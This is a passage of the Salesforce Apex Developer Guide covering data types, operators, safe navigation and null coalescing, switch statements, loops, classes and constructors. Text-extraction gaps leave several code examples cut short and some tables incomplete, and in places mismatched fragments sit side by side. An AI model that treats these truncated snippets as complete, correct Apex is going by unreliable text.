HashMap or TreeMap). Apex uses a hash structure for all maps.
• The iteration order of map elements is deterministic. You can rely on the order being the same in each subsequent execution of the
same code. However, we recommend to always access map elements by key.
• A map key can hold the null value.
• Adding a map entry with a key that matches an existing key in the map overwrites the existing entry with that key with the new
entry.
• Map keys of type String are case-sensitive. Two keys that differ only by the case are considered unique and have corresponding
distinct Map entries. Subsequently, the Map methods, including put, get, containsKey, and remove treat these keys as
distinct.
• Uniqueness of map keys of user-defined types is determined by the equals and hashCode methods, which you provide in
your classes. Uniqueness of keys of all other non-primitive types, such as sObject keys, is determined by comparing the objects’ field
values. Use caution when you use an sObject as a map key because when the sObject is changed, it no longer maps to the same
value. For information and examples, see
https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_map_sobject_considerations.htm
• A Map object is serializable into JSON only if it uses one of the following data types as a key.
– Boolean
– Date
– DateTime
– Decimal
– Double
32
Apex Developer Guide Data Types and Variables
– Enum
– Id
– Integer
– Long
– String
– Time
Parameterized Typing
Apex, in general, is a statically-typed programming language, which means users must specify the data type for a variable before that
variable can be used.
This is legal in Apex:
Integer x = 1;
Lists, maps and sets are parameterized in Apex: they take any data type Apex supports for them as an argument. That data type must be
replaced with an actual data type upon construction of the list, map or set. For example:
List<String> myList = new List<String>();
Enums
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Enums are typically
used to define a set of possible values that don’t otherwise have a numerical order. Typical examples include the suit of a card, or a
particular season of the year.
Although each value corresponds to a distinct integer value, the enum hides this implementation. Hiding the implementation prevents
any possible misuse of the values to perform arithmetic and so on. After you create an enum, variables, method arguments, and return
types can be declared of that type.
Note: Unlike Java, the enum type itself has no constructor syntax.
To define an enum, use the enum keyword in your declaration and use curly braces to demarcate the list of possible values. For example,
the following code creates an enum called Season:
public enum Season {WINTER, SPRING, SUMMER, FALL}
33
Apex Developer Guide Data Types and Variables
By creating the enum Season, you have also created a new data type called Season. You can use this new data type as you would
any other data type. For example:
Season southernHemisphereSeason = Season.WINTER;
You can also define a class as an enum. When you create an enum class, do not use the class keyword in the definition.
public enum MyEnumClass { X, Y }
You can use an enum in any place you can use another data type name. If you define a variable whose type is an enum, any object you
assign to it must be an instance of that enum class.
Any webservice method can use enum types as part of their signature. In this case, the associated WSDL file includes definitions
for the enum and its values, which the API client can use.
Apex provides the following system-defined enums:
• System.StatusCode
This enum corresponds to the API error code that is exposed in the WSDL document for all API operations. For example:
StatusCode.CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY
StatusCode.INSUFFICIENT_ACCESS_ON_CROSS_REFERENCE_ENTITY
The full list of status codes is available in the WSDL file for your organization. For more information about accessing the WSDL file
for your organization, see Downloading Salesforce WSDLs and Client Authentication Certificates in Salesforce Help.
• System.XmlTag:
This enum returns a list of XML tags used for parsing the result XML from a webservice method. For more information, see
XmlStreamReader Class.
• System.RoundingMode:
This enum is used by methods that perform mathematical operations to specify the rounding behavior for the operation. Typical
examples are the Decimal divide method and the Double round method. For more information, see Rounding Mode.
• System.SoapType:
This enum is returned by the field describe result getSoapType method. For more information, see SOAPType Enum.
• System.DisplayType:
This enum is returned by the field describe result getType method. For more information, see DisplayType Enum.
• System.JSONToken:
This enum is used for parsing JSON content. For more information, see JsonToken Enum.
34
Apex Developer Guide Data Types and Variables
• ApexPages.Severity:
This enum specifies the severity of a Visualforce message. For more information, see ApexPages.Severity Enum.
• Dom.XmlNodeType:
This enum specifies the node type in a DOM document.
All enum values, including system enums, have common methods associated with them. For more information, see Enum Methods.
You cannot add user-defined methods to enum values.
Variables
Local variables are declared with Java-style syntax.
For example:
Integer i = 0;
String str;
List<String> strList;
Set<String> s;
Map<ID, String> m;
As with Java, multiple variables can be declared and initialized in a single statement, using comma separation. For example:
Integer i, j, k;
35
Apex Developer Guide Data Types and Variables
Many instance methods on the data type will fail if the variable is null. In this example, the second statement generates an exception
(NullPointerException)
Date d;
d.addDays(2);
All variables are initialized to null if they aren’t assigned a value. For instance, in the following example, i, and k are assigned values,
while the integer variable j and the boolean variable b are set to null because they aren’t explicitly initialized.
Integer i = 0, j, k = 1;
Boolean b;
Note: A common pitfall is to assume that an uninitialized boolean variable is initialized to false by the system. This isn’t the
case. Like all other variables, boolean variables are null if not assigned a value explicitly.
Variable Scope
Variables can be defined at any point in a block, and take on scope from that point forward. Sub-blocks can’t redefine a variable name
that has already been used in a parent block, but parallel blocks can reuse a variable name. For example:
Integer i;
{
// Integer i; This declaration is not allowed
}
Case Sensitivity
To avoid confusion with case-insensitive SOQL and SOSL queries, Apex is also case-insensitive. This means:
• Variable and method names are case-insensitive. For example:
Integer I;
//Integer i;
Note: You’ll learn more about sObjects, SOQL, and SOSL later in this guide.
Also note that Apex uses the same filtering semantics as SOQL, which is the basis for comparisons in the SOAP API and the Salesforce
user interface. The use of these semantics can lead to some interesting behavior. For example, if an end-user generates a report based
on a filter for values that come before 'm' in the alphabet (that is, values < 'm'), null fields are returned in the result. The rationale for this
36
Apex Developer Guide Data Types and Variables
behavior is that users typically think of a field without a value as just a space character, rather than its actual null value. Consequently,
in Apex, the following expressions all evaluate to true:
String s;
System.assert('a' == 'A');
System.assert(s < 'b');
System.assert(!(s > 'b'));
Note: Although s < 'b' evaluates to true in the example above, 'b.'compareTo(s) generates an error because
you’re trying to compare a letter to a null value.
SEE ALSO:
Naming Conventions
Constants
Apex constants are variables whose values don’t change after being initialized once. Constants can be defined using the final keyword.
The final keyword means that the variable can be assigned at most once, either in the declaration itself, or with a static initializer
method if the constant is defined in a class. This example declares two constants. The first is initialized in the declaration statement. The
second is assigned a value in a static block by calling a static method.
public class myCls {
static final Integer PRIVATE_INT_CONST = 200;
static final Integer PRIVATE_INT_CONST2;
static {
PRIVATE_INT_CONST2 = calculate();
}
}
For more information, see Using the final Keyword on page 84.
Expressions
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value.
Expression Operators
Expressions can be joined to one another with operators to create compound expressions.
Safe Navigation Operator
Use the safe navigation operator (?.) to replace explicit, sequential checks for null references. This operator short-circuits expressions
that attempt to operate on a null value and returns null instead of throwing a NullPointerException.
37
Apex Developer Guide Data Types and Variables
SEE ALSO:
Expanding sObject and List Expressions
Expressions
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value.
In Apex, an expression is always one of the following types:
• A literal expression. For example:
1 + 1
• Any value that can act as the left-hand of an assignment operator (L-values), including variables, one-dimensional list positions, and
most sObject or Apex object field references. For example:
Integer i
myList[3]
myContact.name
myRenamingClass.oldName
• A SOQL or SOSL query surrounded by square brackets, allowing for on-the-fly evaluation in Apex. For example:
Account[] aa = [SELECT Id, Name FROM Account WHERE Name ='Acme'];
Integer i = [SELECT COUNT() FROM Contact WHERE LastName ='Weissman'];
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name),
Contact, Opportunity, Lead];
38
Apex Developer Guide Data Types and Variables
Expression Operators
Expressions can be joined to one another with operators to create compound expressions.
Apex supports the following operators:
&= x &= y AND assignment operator (Right associative). If x, a Boolean, and y, a Boolean,
are both true, then x remains true. Otherwise x is assigned the value of false. x
and y can’t be null.
<<= x <<= y Bitwise shift left assignment operator. Shifts each bit in x to the left by y bits
so that the high-order bits are lost and the new right bits are set to 0. This value is
then reassigned to x.
>>= x >>= y Bitwise shift right signed assignment operator. Shifts each bit in x to the right
by y bits so that the low-order bits are lost and the new left bits are set to 0 for
39
Apex Developer Guide Data Types and Variables
>>>= x >>>= y Bitwise shift right unsigned assignment operator. Shifts each bit in x to the
right by y bits so that the low-order bits are lost and the new left bits are set to 0
for all values of y. This value is then reassigned to x.
&& x && y AND logical operator (Left associative). If x, a Boolean, and y, a Boolean, are both
true, then the expression evaluates to true. Otherwise the expression evaluates to
false.
Note:
• && has precedence over ||
• This operator exhibits short-circuiting behavior, which means y is evaluated
only if x is true.
• x and y can’t be null.
== x == y Equality operator. If the value of x equals the value of y, the expression evaluates
to true. Otherwise the expression evaluates to false.
Note:
• Unlike Java, == in Apex compares object value equality not reference
equality, except for user-defined types. Therefore:
– String comparison using == is case-insensitive and is performed
according to the locale of the context user
– ID comparison using == is case-sensitive and doesn’t distinguish
between 15-character and 18-character formats
– User-defined types are compared by reference, which means that
two objects are equal only if they reference the same location in
memory. You can override this default comparison behavior by
40
Apex Developer Guide Data Types and Variables
• For sObjects and sObject arrays, == performs a deep check of all sObject
field values before returning its result. Likewise for collections and built-in
Apex objects.
• For records, every field must have the same value for == to evaluate to
true.
• x or y can be the literal null.
• The comparison of any two values can never result in null.
• SOQL and SOSL use = for their equality operator and not ==. Although
Apex and SOQL and SOSL are strongly linked, this unfortunate syntax
discrepancy exists because most modern languages use = for assignment
and == for equality. The designers of Apex deemed it more valuable to
maintain this paradigm than to force developers to learn a new
assignment operator. As a result, Apex developers must use == for
equality tests in the main body of the Apex code, and = for equality in
SOQL and SOSL queries.
=== x === y Exact equality operator. If x and y reference the exact same location in memory
the expression evaluates to true. Otherwise the expression evaluates to false.
< x < y Less than operator. If x is less than y, the expression evaluates to true. Otherwise
the expression evaluates to false.
Note:
• Unlike other database stored procedures, Apex doesn’t support tri-state
Boolean logic and the comparison of any two values can never result in
null.
• If x or y equal null and are Integers, Doubles, Dates, or Datetimes,
the expression is false.
• A non-null String or ID value is always greater than a null value.
• If x and y are IDs, they must reference the same type of object.
Otherwise a runtime error results.
• If x or y is an ID and the other value is a String, the String value is
validated and treated as an ID.
• x and y can’t be Booleans.
• The comparison of two strings is performed according to the locale of
the context user and is case-insensitive.
> x > y Greater than operator. If x is greater than y, the expression evaluates to true.
Otherwise the expression evaluates to false.
Note:
• The comparison of any two values can never result in null.
41
Apex Developer Guide Data Types and Variables
<= x <= y Less than or equal to operator. If x is less than or equal to y, the expression
evaluates to true. Otherwise the expression evaluates to false.
Note:
• The comparison of any two values can never result in null.
• If x or y equal null and are Integers, Doubles, Dates, or Datetimes,
the expression is false.
• A non-null String or ID value is always greater than a null value.
• If x and y are IDs, they must reference the same type of object.
Otherwise a runtime error results.
• If x or y is an ID and the other value is a String, the String value is
validated and treated as an ID.
• x and y can’t be Booleans.
• The comparison of two strings is performed according to the locale of
the context user and is case-insensitive.
>= x >= y Greater than or equal to operator. If x is greater than or equal to y, the
expression evaluates to true. Otherwise the expression evaluates to false.
Note:
• The comparison of any two values can never result in null.
• If x or y equal null and are Integers, Doubles, Dates, or Datetimes,
the expression is false.
• A non-null String or ID value is always greater than a null value.
• If x and y are IDs, they must reference the same type of object.
Otherwise a runtime error results.
• If x or y is an ID and the other value is a String, the String value is
validated and treated as an ID.
• x and y can’t be Booleans.
• The comparison of two strings is performed according to the locale of
the context user and is case-insensitive.
42
Apex Developer Guide Data Types and Variables
Note:
• String comparison using != is case-insensitive
• Unlike Java, != in Apex compares object value equality not reference
equality, except for user-defined types.
• For sObjects and sObject arrays, != performs a deep check of all sObject
field values before returning its result.
• For records, != evaluates to true if the records have different values for
any field.
• User-defined types are compared by reference, which means that two
objects are different only if they reference different locations in memory.
You can override this default comparison behavior by providing equals
and hashCode methods in your class to compare object values instead.
• x or y can be the literal null.
• The comparison of any two values can never result in null.
!== x !== y Exact inequality operator. If x and y don’t reference the exact same location in
memory, the expression evaluates to true. Otherwise the expression evaluates to
false.
43
Apex Developer Guide Data Types and Variables
! !x Logical complement operator. Inverts the value of a Boolean so that true becomes
false and false becomes true.
-- x-- Decrement operator. Subtracts 1 from the value of x, a variable of a numeric type.
--x If prefixed (--x), the expression evaluates to the value of x after the decrement. If
postfixed (x--), the expression evaluates to the value of x before the decrement.
& x & y Bitwise AND operator. ANDs each bit in x with the corresponding bit in y so
that the result bit is set to 1 if both of the bits are set to 1.
| x | y Bitwise OR operator. ORs each bit in x with the corresponding bit in y so that
the result bit is set to 1 if at least one of the bits is set to 1.
^ x ^ y Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding
bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the
other bit is set to 0.
^= x ^= y Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding
bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the
other bit is set to 0. Assigns the result of the exclusive OR operation to x.
<< x << y Bitwise shift left operator. Shifts each bit in x to the left by y bits so that the
high-order bits are lost and the new right bits are set to 0.
>> x >> y Bitwise shift right signed operator. Shifts each bit in x to the right by y bits so
that the low-order bits are lost and the new left bits are set to 0 for positive values
of y and 1 for negative values of y.
>>> x >>> y Bitwise shift right unsigned operator. Shifts each bit in x to the right by y bits
so that the low-order bits are lost and the new left bits are set to 0 for all values of
y.
44
Apex Developer Guide Data Types and Variables
Important: Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain
terms to avoid any effect on customer implementations.
If the left-hand-side of the chain expression evaluates to null, the right-hand-side isn’t evaluated. Use the safe navigation operator (?.)
in method, variable, and property chaining. The part of the expression that isn’t evaluated can include variable references, method
references, or array expressions.
Note: All Apex types are implicitly nullable and can hold a null value returned from the operator.
Examples
• This example first evaluates a, and returns null if a is null. Otherwise the return value is a.b.
a?.b // Evaluates to: a == null ? null : a.b
• This example returns null if a[x] evaluates to null. If a[x] doesn’t evaluate to null and aMethod() returns null, then this
expression throws a NullPointerException.
a[x]?.aMethod().aField // Evaluates to null if a[x] == null
• This example indicates that the type of the expression is the same whether the safe navigation operator is used in the expression or
not.
Integer x = anObject?.anIntegerField; // The expression is of type Integer because the
field is of type Integer
• This example shows a single statement replacing a block of code that checks for nulls.
// Previous code checking for nulls
String profileUrl = null;
if (user.getProfileUrl() != null) {
profileUrl = user.getProfileUrl().toExternalForm();
}
45
Apex Developer Guide Data Types and Variables
• This example shows a single-row SOQL query using the safe navigation operator.
// Previous code checking for nulls
results = [SELECT Name FROM Account WHERE Id = :accId];
if (results.size() == 0) { // Account was deleted
return null;
}
return results[0].Name;
Using parentheses, for example in a cast. ((T)a1?.b1)?.c1() The operator skips the method chain up to
the first closing parenthesis. By adding the
operator after the parenthesis, the code
safeguards the whole expression. If the
operator is used elsewhere, and not after
the parenthesis, the whole cast expression
isn’t be safeguarded. For example, the
behavior of
//Incorrect use of safe
navigation operator
((T)a1?.b1).c1()
is equivalent to:
T ref = null;
if (a1 != null) {
ref = (T)a1.b1;
}
result = ref.c1();
SOQL Queries String s = [SELECT LastName If the SOQL query returns no objects, then
FROM Contact]?.LastName; the expression evaluates to null. The
behavior is equivalent to:
List<Contact> contacts =
[SELECT LastName FROM
Contact];
String s;
if (contacts.size() == 0) {
46
Apex Developer Guide Data Types and Variables
You can’t use the Safe Navigation Operator in certain cases. Attempting to use the operator in these ways causes an error during
compilation:
• Types and static expressions with dots. For example:
– Namespaces
– {Namespace}.{Class}
– Trigger.new
– Flow.interview.{flowName}
– {Type}.class
Note: You can use the operator with addError() on SObjects, including lookup and master-detail fields.
47
Apex Developer Guide Data Types and Variables
While using the null coalescing operator, always keep operator precedence in mind. In some cases, using parentheses is necessary to
obtain the desired results. For example, the expression top ?? 100 - bottom ?? 0 evaluates to top ?? (100 - bottom
?? 0) and not to (top ?? 100) - (bottom ?? 0).
Apex supports assignment of a single resultant record from a SOQL query, but throws an exception if there are no rows returned by the
query. The null coalescing operator can be used to gracefully deal with the case where the query doesn’t return any rows. If a SOQL
query is used as the left-hand operand of the operator and rows are returned, then the null coalescing operator returns the query results.
If no rows are returned, the null coalescing operator returns the right-hand operand.
Warning: Salesforce recommends against using multiple SOQL queries in a single statement that also uses the null coalescing
operator.
These examples work with Account objects.
Account defaultAccount = new Account(name = 'Acme');
// Left operand SOQL is empty, return defaultAccount from right operand:
Account a = [SELECT Id FROM Account
WHERE Id = '001000000FAKEID'] ?? defaultAccount;
Assert.areEqual(defaultAccount, a);
// If there isn't a matching Account or the Billing City is null, replace the value
string city = [Select BillingCity
From Account
Where Id = '001xx000000001oAAA']?.BillingCity;
System.debug('Matches count: ' + city?.countMatches('San Francisco') ?? 0 );
Usage
There are some restrictions on using the null coalescing operator.
• You can’t use the null coalescing operator as the left side of an assignment operator in an assignment.
– foo??bar = 42;// This is not a valid assignment
– foo??bar++; // This is not a valid assignment
48
Apex Developer Guide Data Types and Variables
SEE ALSO:
Operator Precedence
Using SOQL Queries That Return One Record
Operator Precedence
Operators are interpreted in order, according to rules.
Apex uses the following operator precedence rules:
2 ~ ! -x +x (type) new Unary operators, additive operators, type cast and object
creation
6 < <= > >= instanceof Greater-than and less-than comparisons, reference tests
9 ^ Bitwise XOR
10 | Bitwise OR
12 || Logical OR
13 ?? Null Coalescing
14 ?: Ternary
Comments
Both single and multiline comments are supported in Apex code.
49
Apex Developer Guide Data Types and Variables
• To create a single line comment, use //. All characters on the same line to the right of the // are ignored by the parser. For example:
Integer i = 1; // This comment is ignored by the parser
• To create a multiline comment, use /* and */ to demarcate the beginning and end of the comment block. For example:
Integer i = 1; /* This comment can wrap over multiple
lines without getting interpreted by the
parser. */
Assignment Statements
An assignment statement is any statement that places a value into a variable.
An assignment statement generally takes one of two forms:
[LValue] = [new_value_expression];
[LValue] = [[inline_soql_query]];
In the forms above, [LValue] stands for any expression that can be placed on the left side of an assignment operator. These include:
• A simple variable. For example:
Integer i = 1;
Account a = new Account();
Account[] accts = [SELECT Id FROM Account];
• An sObject field reference that the context user has permission to edit. For example:
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
// Notice that you can write to the account name directly through the contact
c.Account.Name = 'salesforce.com';
50
Apex Developer Guide Data Types and Variables
// These asserts should now be true. You can reference the data
// originally allocated to account a through account b and account list c.
System.assertEquals(b.Name, 'Acme');
System.assertEquals(c[0].Name, 'Acme');
Similarly, two lists can point at the same value in memory. For example:
Account[] a = new Account[]{new Account()};
Account[] b = a;
a[0].Name = 'Acme';
System.assert(b[0].Name == 'Acme');
In addition to =, other valid assignment operators include +=, *=, /=, |=, &=, ++, and --. See Expression Operators on page 39.
Rules of Conversion
In general, Apex requires you to explicitly convert one data type to another. For example, a variable of the Integer data type cannot be
implicitly converted to a String. You must use the string.format method. However, a few data types can be implicitly converted,
without using a method.
Numbers form a hierarchy of types. Variables of lower numeric types can always be assigned to higher types without explicit conversion.
The following is the hierarchy for numbers, from lowest to highest:
1. Integer
2. Long
3. Double
4. Decimal
Note: Once a value has been passed from a number of a lower type to a number of a higher type, the value is converted to the
higher type of number.
Note that the hierarchy and implicit conversion is unlike the Java hierarchy of numbers, where the base interface number is used and
implicit object conversion is never allowed.
In addition to numbers, other data types can be implicitly converted. The following rules apply:
• IDs can always be assigned to Strings.
• Strings can be assigned to IDs. However, at runtime, the value is checked to ensure that it is a legitimate ID. If it is not, a runtime
exception is thrown.
• The instanceOf keyword can always be used to test whether a string is an ID.
51
Apex Developer Guide Control Flow Statements
52
Apex Developer Guide Control Flow Statements
Switch Statements
Apex provides a switch statement that tests whether an expression matches one of several values and branches accordingly.
Loops
Apex supports five types of procedural loops.
The else portion is always optional, and always groups with the closest if. For example:
Integer x, sign;
// Your code
if (x <= 0) if (x == 0) sign = 0; else sign = -1;
is equivalent to:
Integer x, sign;
// Your code
if (x <= 0) {
if (x == 0) {
sign = 0;
} else {
sign = -1;
}
}
Switch Statements
Apex provides a switch statement that tests whether an expression matches one of several values and branches accordingly.
The syntax is:
switch on expression {
when value1 { // when block 1
// code block 1
}
when value2 { // when block 2
53
Apex Developer Guide Control Flow Statements
// code block 2
}
when value3 { // when block 3
// code block 3
}
when else { // default block, optional
// code block 4
}
}
The when value can be a single value, multiple values, or sObject types. For example:
when value1 {
}
The switch statement evaluates the expression and executes the code block for the matching when value. If no value matches, the
when else code block is executed. If there isn’t a when else block, no action is taken.
Note: There is no fall-through. After the code block is executed, the switch statement exits.
When Blocks
Each when block has a value that the expression is matched against. These values can take one of the following forms.
• when literal {} (a when block can have multiple, comma-separated literal clauses)
• when SObjectType identifier {}
• when enum_value {}
The value null is a legal value for all types.
Each when value must be unique. For example, you can use the literal x only in one when block clause. A when block is matched
one time at most.
Note: Salesforce recommends including a when else block, especially with enum types, although it isn’t required. When you
build a switch statement using enum values provided by a managed package, your code might not behave as expected if a
54
Apex Developer Guide Control Flow Statements
new version of the package contains additional enum values. You can prevent this problem by including a when else block
to handle unanticipated values.
If you include a when else block, it must be the last block in the switch statement.
55
Apex Developer Guide Control Flow Statements
when else {
System.debug('default');
}
}
Method Example
Instead of switching on a variable expression, the following example switches on the result of a method call.
switch on someInteger(i) {
when 2 {
System.debug('when block 2');
}
when 3 {
System.debug('when block 3');
}
when else {
System.debug('default');
}
}
You can replace and simplify this code with the following switch statement.
switch on sobject {
when Account a {
System.debug('account ' + a);
}
when Contact c {
System.debug('contact ' + c);
}
when null {
System.debug('null');
}
when else {
System.debug('default');
}
}
Note: You can use only one sObject type per when block.
56
Apex Developer Guide Control Flow Statements
Loops
Apex supports five types of procedural loops.
These types of procedural loops are supported:
• do {statement} while (Boolean_condition);
• while (Boolean_condition) statement;
• for (initialization; Boolean_exit_condition; increment) statement;
• for (variable : array_or_set) statement;
• for (variable : [inline_soql_query]) statement;
All loops allow for loop control structures:
• break; exits the entire loop
• continue; skips to the next iteration of the loop
1. Do-While Loops
2. While Loops
3. For Loops
Do-While Loops
The Apex do-while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:
do {
code_block
} while (condition);
As in Java, the Apex do-while loop does not check the Boolean condition statement until after the first loop is executed. Consequently,
the code block always runs at least once.
57
Apex Developer Guide Control Flow Statements
As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1;
do {
System.debug(count);
count++;
} while (count < 11);
While Loops
The Apex while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:
while (condition) {
code_block
}
Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.
Unlike do-while, the while loop checks the Boolean condition statement before the first loop is executed. Consequently, it is
possible for the code block to never execute.
As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1;
For Loops
Apex supports three variations of the for loop:
• The traditional for loop:
58
Apex Developer Guide Control Flow Statements
or
Both variable and variable_list must be of the same sObject type as is returned by the soql_query.
Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.
When executing this type of for loop, the Apex runtime engine performs the following steps, in order:
1. Execute the init_stmt component of the loop. Note that multiple variables can be declared and/or initialized in this statement,
separated by commas.
2. Perform the exit_condition check. If true, the loop continues. If false, the loop exits.
3. Execute the code_block.
4. Execute the increment_stmt statement.
5. Return to Step 2.
As an example, the following code outputs the numbers 1 - 10 into the debug log. Note that an additional initialization variable, j, is
included to demonstrate the syntax:
for (Integer i = 0, j = 0; i < 10; i++) {
System.debug(i+1);
}
59
Apex Developer Guide Classes, Objects, and Interfaces
For example, the following code outputs the numbers 1 - 10 to the debug log:
Integer[] myInts = new Integer[]{1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
Iterating Collections
Collections can consist of lists, sets, or maps. Modifying a collection's elements while iterating through that collection is not supported
and causes an error. Do not directly add or remove elements while iterating through the collection that includes them.
Note: The List.remove method performs linearly. Using it to remove elements has time and resource implications.
To remove elements while iterating a map or set, keep the keys you wish to remove in a temporary list, then remove them after you
finish iterating the collection.
1. Classes
As in Java, you can create classes in Apex. A class is a template or blueprint from which objects are created. An object is an instance
of a class.
2. Interfaces
An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body
of each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained
in the interface.
3. Keywords
Apex provides the keywords final, instanceof, super, this, transient, with sharing and without
sharing.
4. Annotations
An Apex annotation modifies the way that a method or class is used, similar to annotations in Java. Annotations are defined with
an initial @ symbol, followed by the appropriate keyword.
60
Apex Developer Guide Classes, Objects, and Interfaces
Classes
As in Java, you can create classes in Apex. A class is a template or blueprint from which objects are created. An object is an instance of a
class.
For example, the PurchaseOrder class describes an entire purchase order, and everything that you can do with a purchase order.
An instance of the PurchaseOrder class is a specific purchase order that you send or receive.
All objects have state and behavior, that is, things that an object knows about itself, and things that an object can do. The state of a
PurchaseOrder object—what it knows—includes the user who sent it, the date and time it was created, and whether it was flagged as
important. The behavior of a PurchaseOrder object—what it can do—includes checking inventory, shipping a product, or notifying a
customer.
A class can contain variables and methods. Variables are used to specify the state of an object, such as the object's Name or Type.
Since these variables are associated with a class and are members of it, they are commonly referred to as member variables. Methods
are used to control behavior, such as getOtherQuotes or copyLineItems.
A class can contain other classes, exception types, and initialization code.
An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body of
each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the
interface.
For more general information on classes, objects, and interfaces, see http://java.sun.com/docs/books/tutorial/java/concepts/index.html
In addition to classes, Apex provides triggers, similar to database triggers. A trigger is Apex code that executes before or after database
operations. See Triggers.
61
Apex Developer Guide Classes, Objects, and Interfaces
4. Using Constructors
5. Access Modifiers
6. Static and Instance Methods, Variables, and Initialization Code
In Apex, you can have static methods, variables, and initialization code. However, Apex classes can't be static. You can also have
instance methods, member variables, and initialization code, which have no modifiers, and local variables.
7. Apex Properties
8. Extending a Class
You can extend a class to provide more specialized behavior.
9. Extended Class Example
Note: Avoid using standard object names for class names. Doing so causes unexpected results. For a list of standard objects, see
Object Reference for Salesforce.
Use the following syntax for defining classes:
private | public | global
[virtual | abstract | with sharing | without sharing]
class ClassName [implements InterfaceNameList] [extends ClassName]
{
// The body of the class
}
• The private access modifier declares that this class is only known locally, that is, only by this section of code. This is the default
access for inner classes—that is, if you don't specify an access modifier for an inner class, it’s considered private. This keyword
can only be used with inner classes (or with top-level test classes marked with the @IsTest annotation).
• The public access modifier declares that this class is visible in your application or namespace.
62
Apex Developer Guide Classes, Objects, and Interfaces
• The global access modifier declares that this class is known by all Apex code everywhere. All classes containing methods defined
with the webservice keyword must be declared as global. If a method or inner class is declared as global, the outer,
top-level class must also be defined as global.
• The with sharing and without sharing keywords specify the sharing mode for this class. For more information, see
Using the with sharing, without sharing, and inherited sharing Keywords on page 88.
• The virtual definition modifier declares that this class allows extension and overrides. You can’t override a method with the
override keyword unless the class has been defined as virtual.
• The abstract definition modifier declares that this class contains abstract methods, that is, methods that only have their signature
declared and no body defined.
Note:
• You can’t add an abstract method to a global class after the class has been uploaded in a Managed - Released package version.
• If the class in the Managed - Released package is virtual, the method that you can add to it must also be virtual and must have
an implementation.
• You can’t override a public or protected virtual method of a global class of an installed managed package.
For more information about managed packages, see What is a Package? on page 714.
A class can implement multiple interfaces, but only extend one existing class. This restriction means that Apex doesn’t support multiple
inheritance. The interface names in the list are separated by commas. For more information about interfaces, see Interfaces on page 80.
For more information about method and variable access modifiers, see Access Modifiers on page 68.
SEE ALSO:
Documentation Typographical Conventions
Salesforce Help: Manage Apex Classes
Salesforce Help: Developer Console Functionality
Class Variables
To declare a variable, specify the following:
• Optional: Modifiers, such as public or final, as well as static.
• Required: The data type of the variable, such as String or Boolean.
• Required: The name of the variable.
• Optional: The value of the variable.
Use the following syntax when defining a variable:
63
Apex Developer Guide Classes, Objects, and Interfaces
For example:
private static final Integer MY_INT;
private final Integer i = 1;
Class Methods
To define a method, specify the following:
• Optional: Modifiers, such as public or protected.
• Required: The data type of the value returned by the method, such as String or Integer. Use void if the method doesn’t return a
value.
• Required: A list of input parameters for the method, separated by commas, each preceded by its data type, and enclosed in parentheses
(). If there are no parameters, use a set of empty parentheses. A method can only have 32 input parameters.
• Required: The body of the method, enclosed in braces {}. All the code for the method, including any local variable declarations, is
contained here.
Note: You can use override to override methods only in classes that have been defined as virtual or abstract.
For example:
public static Integer getInt() {
return MY_INT;
}
As in Java, methods that return values can also be run as a statement if their results aren’t assigned to another variable.
User-defined methods:
• Can be used anywhere that system methods are used.
• Can be recursive.
• Can have side effects, such as DML insert statements that initialize sObject record IDs. See Apex DML Statements.
• Can refer to themselves or to methods defined later in the same class or anonymous block. Apex parses methods in two phases, so
forward declarations aren’t needed.
• Can be overloaded. For example, a method named example can be implemented in two ways, one with a single Integer parameter
and one with two Integer parameters. Depending on whether the method is called with one or two Integers, the Apex parser selects
64
Apex Developer Guide Classes, Objects, and Interfaces
the appropriate implementation to execute. If the parser can’t find an exact match, it then seeks an approximate match using type
coercion rules. For more information on data conversion, see Rules of Conversion on page 51.
Note: If the parser finds multiple approximate matches, a parse-time exception is generated.
• Methods with a void return type are typically invoked as a standalone statement in Apex code. For example:
System.debug('Here is a note for the log.');
• Can have statements where the return values are run as a statement if their results aren’t assigned to another variable. This rule is
the same in Java.
Note: All user-defined types support the clone method. The clone() method in Apex is based on the clone method in
Java.
65
Apex Developer Guide Classes, Objects, and Interfaces
created List that contains new Integer values. When the method returns, the original createMe variable doesn't point to the new
List but still points to the original List, which is empty. An assert statement verifies that createMe contains no values.
public class PassNonPrimitiveTypeExample {
Using Constructors
A constructor is code that is invoked when an object is created from the class blueprint. You do not need to write a constructor for every
class. If a class doesn't have a user-defined constructor, a default, no-argument constructor with the same visibility as the containing
class is generated.
The syntax for a constructor is similar to a method, but it differs from a method definition in that it never has an explicit return type and
it is not inherited by the object created from it.
66
Apex Developer Guide Classes, Objects, and Interfaces
After you write the constructor for a class, you must use the new keyword in order to instantiate an object from that class, using that
constructor. For example, using the following class:
public class TestObject {
If you write a constructor that takes arguments, you can then use that constructor to create an object using those arguments.
If you create a constructor that takes arguments, and you still want to use a no-argument constructor, you must create your own
no-argument constructor in your code. After you create a constructor for a class, you no longer have access to the default, no-argument
public constructor.
In Apex, a constructor can be overloaded, that is, there can be more than one constructor for a class, each having different parameters.
This example illustrates a class with two constructors: one with no arguments and one that takes a simple Integer argument. It also
illustrates how one constructor calls another constructor using the this(...) syntax, also know as constructor chaining.
public class TestObject2 {
Integer size;
Every constructor that you create for a class must have a different argument list. In this example, all of the constructors are possible.
public class Leads {
67
